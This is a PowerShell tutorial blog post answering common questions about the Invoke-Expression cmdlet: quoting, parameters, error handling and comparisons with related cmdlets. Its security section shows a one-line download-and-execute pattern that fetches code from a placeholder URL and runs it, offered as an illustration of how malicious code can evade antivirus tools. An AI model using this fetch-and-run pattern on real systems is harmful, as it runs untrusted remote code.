Invoke-Expression: Pros, Cons, and Best Practices

Published:13 August 2019 - 4 min. read

Nathan Kasco Image

Nathan Kasco

Read more tutorials by Nathan Kasco!

The Invoke-Expression PowerShell cmdlet can be easy to misunderstand when and when not to use it. In this article, I’ve put together a number of  top FAQs. I’m going to break them down and include tons of useful examples for you to reference whenever you might need them. That means you should bookmark this page right now!

Want more tips like this? Check out my personal PowerShell blog at: https://www.nkasco.com/

What is Invoke-Expression?

The official description, per Microsoft is, “The Invoke-Expression cmdlet evaluates or runs a specified string as a command and returns the results of the expression or command. Without Invoke-Expression, a string submitted at the command line would be returned (echoed) unchanged.”

In other words, it can be useful for calling code within a script or building commands to be executed later. It can also be used cautiously in combination with user provided input.

The most basic example of using Invoke-Expression is defining a script and passing that string to the Command parameter. Invoke-Expression then executes that string.

#Run a PowerShell command via Invoke-Expression
$Command = 'Get-Process'
Invoke-Expression -Command $Command

#Execute a script via Invoke-Expression
$MyScript = '.\MyScript.ps1'
Invoke-Expression -Command $MyScript

What if I have spaces in my script path?

Ensure you enclose strings with single or double quotes.

For example, if you’d like to execute a string with a space in the path, these options will not work:

# These don't work
$MyScript = "C:\Folder Path\MyScript.ps1"
#or
$MyScript = "'C:\Folder Path\MyScript.ps1'"
Invoke-Expression $MyScript

Why? Because this is exactly the same thing as typing this directly in the PowerShell console:

PS51> C:\Folder Path\MyScript.ps1

However, if you enclose the path item in single or double quotes with the entire string in quotes, Invoke-Expression will execute the script as expected.

$MyScript = "C:\'Folder Path'\MyScript.ps1"
Invoke-Expression $MyScript

Q. How do you pass parameters to scripts invoked with Invoke-Expression?

The only parameter Invoke-Expression has is Command. There is no native way to pass parameters with Invoke-Expression. However, instead, you can include them in the string you pass to the Command parameter.

Perhaps I have a script with two parameters called Path and Force. Instead of using a specific parameter via Invoke-Expression, you can pass parameters to that script by passing them as you typically would via the console.

If you would typically call this script like this via the console:

PS51> & 'C:\Scripts\MyScript.ps1' -Path 'C:\file.txt' -Force

You have to include that entire line in a string and then pass that string to the Command parameter.

$scriptPath = 'C:\Scripts\MyScript.ps1'
$params = '-Path "C:\file.txt" -Force'
Invoke-Expression "$scriptPath $params"
# or
$string = 'C:\Scripts\MyScript.ps1 -Path "C:\file.txt" -Force'
Invoke-Expression $string

Does try/catch make sense with Invoke-Expression?

Not really. This means you need to use error handling within your Command parameter.

Example:

# Doesn't work - Invoke-Expression doesn't act as a global error handler!
try{
    $Command = 'Get-Process powerhell'
    Invoke-Expression $Command -ErrorAction Stop
} catch {
    Write-Host "Oops, something went wrong!"
}

What’s the difference between Invoke-Expression and the call operator (&)?

The call operator (&) is great to quickly run a command, script, or script block. However, the call operator does not parse the command. It cannot interpret command parameters as Invoke-Expression can.

For example, perhaps I’d like to get the PowerShell Core process using the Get-Process cmdlet usin the code Get-Process -ProcessName pwsh. Concatenating Get-Process and the parameter will not work as expected using the call operator.

$a = "Get-Process"

## Doesn't work
& "$a pwsh"

But if you execute this string with Invoke-Expression, it will work as expected.

Invoke-Expression "$a pwsh"

What’s the difference between Invoke-Expression and Start-Process?

The Start-Process cmdlet provides a return or exit code in the returned object. It allows you to wait for the called process to complete and allows you to launch a process under a different Windows credential. Invoke-Expression is quick and dirty whereas Start-Process can be more useful for interpreting results of the executed process.

What’s the difference between Invoke-Expression and Invoke-Command?

Invoke-Expression only “converts” a string to executable code. Invoke-Command, on the other hand, leverages PowerShell Remoting giving you the ability to invoke code locally or remotely on computers.

Invoke-Command is preferable if you are writing the executed commands now, as you retain intellisense in your IDE whereas Invoke-Expression would be preferable if you wanted to call another script from within your current one.

Example:

#These both work the same way, but we lost our intellisense with the Invoke-Expression example.
Invoke-Command -ScriptBlock {
    Get-Process Chrome
    Get-Process Powershell
}

Invoke-Expression -Command "
Get-Process Chrome
Get-Process Powershell
"

What’s the difference between Invoke-Expression and Invoke-Item?

The Invoke-Item cmdlet gives you inline support for multiple paths to open documents with their default action, with parameters for including, excluding, adding credentials, and even confirmation for additional security.

Is Invoke-Expression secure?

A. If someone had malicious intent they might be able to trick some virus programs by masking malicious code that constructs itself during runtime. Invoke-Expression will happily execute whatever text is passed to it’s Command parameter.

Example:

$Command = "(Invoke-Webrequest -Uri `"http://website.com/CompletelySafeCode`").Content"
Invoke-Expression $Command

What are some best practices for executing multiple commands/expressions?

If you have multiple commands to execute, even though Invoke-Expression only accepts a string rather than an array, we can use the PowerShell pipeline to send objects down the pipeline one at a time.

Example:

# Doesn't work
$MyCollection = @(
    'Get-Process Chrome',
    'Get-Service bits'
)
Invoke-Expression $MyCollection

# Works
'Get-Process Chrome', 'Get-Service bits' | Invoke-Expression

How do I use Invoke-Expression with user input?

You should be very cautious with using Invoke-Expression with user input. If you allow a prompt to a user in a way that gives them access outside of the command you are intending to execute, it could create an unwanted vulnerability. Here is one way you can safely implement user input with Invoke-Expression.

do{
    $Response = Read-Host "Please enter a process name"
    $RunningProcesses = Get-Process

    #Validate the user input here before proceeding
    if($Response -notin $RunningProcesses.Name){
        Write-Host "That process wasn't found, please try again.`n" #Avoid using $Response here
    }
} until ($Response -in $RunningProcesses.Name)

$Command = "Get-Process $Response"
Invoke-Expression $Command

Conclusion

Every cmdlet has their place and Invoke-Expression is one that just about everyone will run into at one point or another. It’s important to understand the pros and cons of frequently used cmdlets so that you are implementing them in a way that sets yourself up for success. I’m curious to hear how you have used Invoke-Expression to solve some of your own challenges, leave a comment below and share your story!

Want more tips like this? Check out my personal PowerShell blog at: https://www.nkasco.com/

Further Reading

Hate ads? Want to support the writer? Get many of our tutorials packaged as an ATA Guidebook.

Explore ATA Guidebooks

Looks like you're offline!